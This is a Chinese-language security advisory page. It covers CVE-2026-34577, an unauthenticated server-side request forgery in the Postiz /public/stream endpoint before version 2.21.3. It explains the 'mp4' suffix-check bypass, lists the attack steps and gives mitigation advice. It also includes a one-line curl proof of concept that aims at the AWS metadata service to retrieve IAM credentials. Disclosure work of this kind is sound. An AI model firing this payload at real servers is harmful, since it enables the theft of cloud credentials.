IPBUF安全漏洞报告
English
CVE-2026-34577 CVSS 8.6 高危

CVE-2026-34577 Postiz SSRF漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34577
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Postiz

相关标签

SSRFPostiz信息泄露未授权访问CWE-918

漏洞概述

Postiz是一款AI社交媒体调度工具。在2.21.3版本之前,其`/public/stream`接口存在服务器端请求伪造(SSRF)漏洞。该接口未对用户提供的URL参数进行有效验证,仅检查后缀是否为"mp4",该验证极易被绕过。由于无需认证且无SSRF防护,攻击者可利用此漏洞读取内部服务响应及云元数据,造成敏感信息泄露。

技术细节

该漏洞位于Postiz的`PublicController`中的`/public/stream`端点。该端点设计初衷可能是用于代理视频流,但其实现逻辑存在严重缺陷。代码仅检查传入的`url`参数是否以"mp4"结尾,作为唯一的验证机制。然而,这种检查可以通过在URL后添加查询参数(如`?x=.mp4`)或片段(如`#.mp4`)来轻松绕过。该端点未实施任何身份认证(PR:N),也未部署SSRF防御策略(如IP黑名单、内网IP过滤等)。因此,攻击者可以通过构造恶意URL,诱导服务器向攻击者指定的任意内网地址(如AWS元数据服务`http://169.254.169.254/latest/meta-data/`或内部数据库管理面板)发起HTTP请求。服务器随后将响应内容代理返回给攻击者,导致内网敏感信息泄露。

攻击链分析

STEP 1
1. 侦察与发现
攻击者发现目标运行的是Postiz应用,且版本低于2.21.3,确认存在/public/stream端点。
STEP 2
2. 构造恶意URL
攻击者构造指向内部敏感资源(如云元数据服务)的URL,并在末尾添加?.mp4或#.mp4以绕过后缀检查。
STEP 3
3. 发送SSRF请求
攻击者向/public/stream端点发送包含恶意url参数的GET请求,无需认证。
STEP 4
4. 获取敏感信息
服务器代理论证者请求内部资源,并将响应(如IAM凭证)返回给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-34577 # Target internal metadata service (e.g., AWS) # Bypass check by appending ?.mp4 curl -X GET "http://<target-domain>/public/stream?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role?.mp4"

影响范围

Postiz < 2.21.3

防御指南

临时缓解措施
如果无法立即升级,建议在WAF或反向代理层阻断对`/public/stream`路径的访问请求,或者严格限制服务器向内网及元数据IP(如169.254.169.254)的出站连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表